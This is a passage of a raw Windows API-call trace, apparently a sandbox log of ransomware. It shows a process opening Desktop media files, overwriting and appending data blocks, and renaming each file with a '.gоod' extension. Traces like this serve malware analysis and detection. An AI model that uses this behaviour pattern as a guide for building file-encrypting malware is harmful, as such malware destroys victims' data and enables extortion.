lpBuffer=0x3655b98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3655b98*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0196.640] CloseHandle (hObject=0x838) returned 1 [0196.640] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", lpFilePart=0x0) returned 0x2c [0196.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.640] GetFileType (hFile=0x838) returned 0x1 [0196.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.640] GetFileType (hFile=0x838) returned 0x1 [0196.640] ReadFile (in: hFile=0x838, lpBuffer=0x3657e38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3657e38*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0197.034] CloseHandle (hObject=0x838) returned 1 [0197.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", lpFilePart=0x0) returned 0x2c [0197.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0197.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0197.034] GetFileType (hFile=0x838) returned 0x1 [0197.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0197.035] GetFileType (hFile=0x838) returned 0x1 [0197.035] WriteFile (in: hFile=0x838, lpBuffer=0x35d2da0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x35d2da0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0197.035] CloseHandle (hObject=0x838) returned 1 [0197.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", lpFilePart=0x0) returned 0x2c [0197.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav.gоod", lpFilePart=0x0) returned 0x31 [0197.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0197.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e44f10, ftCreationTime.dwHighDateTime=0x1d4cd32, ftLastAccessTime.dwLowDateTime=0x2faacf10, ftLastAccessTime.dwHighDateTime=0x1d4d545, ftLastWriteTime.dwLowDateTime=0x71a7b28b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c68)) returned 1 [0197.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0197.035] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav.gоod")) returned 1 [0197.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", lpFilePart=0x0) returned 0x2c [0197.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0197.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav"), fInfoLevelId=0x0, lpFileInformation=0x386a280 | out: lpFileInformation=0x386a280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba2a7b0, ftCreationTime.dwHighDateTime=0x1d4cc33, ftLastAccessTime.dwLowDateTime=0x55b27d0, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x55b27d0, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x64c1)) returned 1 [0197.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0197.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", lpFilePart=0x0) returned 0x2c [0197.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0197.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0197.036] GetFileType (hFile=0x838) returned 0x1 [0197.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0197.036] GetFileType (hFile=0x838) returned 0x1 [0197.036] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0197.036] ReadFile (in: hFile=0x838, lpBuffer=0x386a658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x386a658*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0197.037] CloseHandle (hObject=0x838) returned 1 [0197.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", lpFilePart=0x0) returned 0x2c [0197.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0197.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0197.038] GetFileType (hFile=0x838) returned 0x1 [0197.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0197.038] GetFileType (hFile=0x838) returned 0x1 [0197.038] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x64c1 [0197.038] WriteFile (in: hFile=0x838, lpBuffer=0x386b8d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x386b8d0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0197.038] CloseHandle (hObject=0x838) returned 1 [0197.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", lpFilePart=0x0) returned 0x2c [0197.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0197.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0197.038] GetFileType (hFile=0x838) returned 0x1 [0197.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0197.038] GetFileType (hFile=0x838) returned 0x1 [0197.038] ReadFile (in: hFile=0x838, lpBuffer=0x386db70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x386db70*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0199.024] CloseHandle (hObject=0x838) returned 1 [0199.024] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", lpFilePart=0x0) returned 0x2c [0199.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.025] GetFileType (hFile=0x838) returned 0x1 [0199.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.025] GetFileType (hFile=0x838) returned 0x1 [0199.025] WriteFile (in: hFile=0x838, lpBuffer=0x35fbfe8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x35fbfe8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0199.025] CloseHandle (hObject=0x838) returned 1 [0199.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav", lpFilePart=0x0) returned 0x2c [0199.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav.gоod", lpFilePart=0x0) returned 0x31 [0199.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0199.025] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba2a7b0, ftCreationTime.dwHighDateTime=0x1d4cc33, ftLastAccessTime.dwLowDateTime=0x55b27d0, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x72d7374e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x64d1)) returned 1 [0199.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0199.026] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\lTidx6f4q7CDjc_4.wav.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\ltidx6f4q7cdjc_4.wav.gоod")) returned 1 [0199.026] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", lpFilePart=0x0) returned 0x2c [0199.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0199.027] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi"), fInfoLevelId=0x0, lpFileInformation=0x3723670 | out: lpFileInformation=0x3723670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb55ba8b0, ftCreationTime.dwHighDateTime=0x1d4d3c8, ftLastAccessTime.dwLowDateTime=0x22e91d30, ftLastAccessTime.dwHighDateTime=0x1d4c754, ftLastWriteTime.dwLowDateTime=0x22e91d30, ftLastWriteTime.dwHighDateTime=0x1d4c754, nFileSizeHigh=0x0, nFileSizeLow=0x6d46)) returned 1 [0199.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0199.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", lpFilePart=0x0) returned 0x2c [0199.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.027] GetFileType (hFile=0x838) returned 0x1 [0199.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.027] GetFileType (hFile=0x838) returned 0x1 [0199.027] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0199.027] ReadFile (in: hFile=0x838, lpBuffer=0x3723a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3723a48*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0199.028] CloseHandle (hObject=0x838) returned 1 [0199.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", lpFilePart=0x0) returned 0x2c [0199.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.028] GetFileType (hFile=0x838) returned 0x1 [0199.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.029] GetFileType (hFile=0x838) returned 0x1 [0199.029] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x6d46 [0199.029] WriteFile (in: hFile=0x838, lpBuffer=0x3724cc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3724cc0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0199.029] CloseHandle (hObject=0x838) returned 1 [0199.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", lpFilePart=0x0) returned 0x2c [0199.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.029] GetFileType (hFile=0x838) returned 0x1 [0199.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.029] GetFileType (hFile=0x838) returned 0x1 [0199.029] ReadFile (in: hFile=0x838, lpBuffer=0x3726f60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3726f60*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0199.056] CloseHandle (hObject=0x838) returned 1 [0199.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", lpFilePart=0x0) returned 0x2c [0199.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.056] GetFileType (hFile=0x838) returned 0x1 [0199.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.056] GetFileType (hFile=0x838) returned 0x1 [0199.056] WriteFile (in: hFile=0x838, lpBuffer=0x3725cd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3725cd8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0199.056] CloseHandle (hObject=0x838) returned 1 [0199.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi", lpFilePart=0x0) returned 0x2c [0199.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi.gоod", lpFilePart=0x0) returned 0x31 [0199.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0199.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb55ba8b0, ftCreationTime.dwHighDateTime=0x1d4d3c8, ftLastAccessTime.dwLowDateTime=0x22e91d30, ftLastAccessTime.dwHighDateTime=0x1d4c754, ftLastWriteTime.dwLowDateTime=0x72dbfb74, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6d56)) returned 1 [0199.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0199.057] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\MivJHTamm_ESG0R_.avi.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\mivjhtamm_esg0r_.avi.gоod")) returned 1 [0199.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", lpFilePart=0x0) returned 0x2f [0199.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0199.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif"), fInfoLevelId=0x0, lpFileInformation=0x37aa708 | out: lpFileInformation=0x37aa708*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a7b6b0, ftCreationTime.dwHighDateTime=0x1d4d442, ftLastAccessTime.dwLowDateTime=0x769da660, ftLastAccessTime.dwHighDateTime=0x1d4d2af, ftLastWriteTime.dwLowDateTime=0x769da660, ftLastWriteTime.dwHighDateTime=0x1d4d2af, nFileSizeHigh=0x0, nFileSizeLow=0x3931)) returned 1 [0199.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0199.058] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", lpFilePart=0x0) returned 0x2f [0199.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.058] GetFileType (hFile=0x838) returned 0x1 [0199.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.058] GetFileType (hFile=0x838) returned 0x1 [0199.058] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0199.058] ReadFile (in: hFile=0x838, lpBuffer=0x37aaae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37aaae0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0199.059] CloseHandle (hObject=0x838) returned 1 [0199.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", lpFilePart=0x0) returned 0x2f [0199.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.059] GetFileType (hFile=0x838) returned 0x1 [0199.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.059] GetFileType (hFile=0x838) returned 0x1 [0199.059] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x3931 [0199.059] WriteFile (in: hFile=0x838, lpBuffer=0x37abd58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37abd58*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0199.059] CloseHandle (hObject=0x838) returned 1 [0199.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", lpFilePart=0x0) returned 0x2f [0199.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.060] GetFileType (hFile=0x838) returned 0x1 [0199.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.060] GetFileType (hFile=0x838) returned 0x1 [0199.060] ReadFile (in: hFile=0x838, lpBuffer=0x37adff8, 